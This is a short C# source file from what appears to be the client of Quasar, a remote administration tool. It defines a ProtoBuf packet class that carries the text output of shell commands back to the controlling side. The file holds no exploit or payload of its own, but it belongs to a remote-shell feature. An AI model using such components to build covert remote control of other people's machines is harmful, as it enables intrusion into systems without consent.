Quasar/Client/Core/Packets/ClientPackets/ShellCommandResponse.cs

25 lines
498 B
C#

using ProtoBuf;
namespace xClient.Core.Packets.ClientPackets
{
[ProtoContract]
public class ShellCommandResponse : IPacket
{
[ProtoMember(1)]
public string Output { get; set; }
public ShellCommandResponse()
{
}
public ShellCommandResponse(string output)
{
this.Output = output;
}
public void Execute(Client client)
{
client.Send<ShellCommandResponse>(this);
}
}
}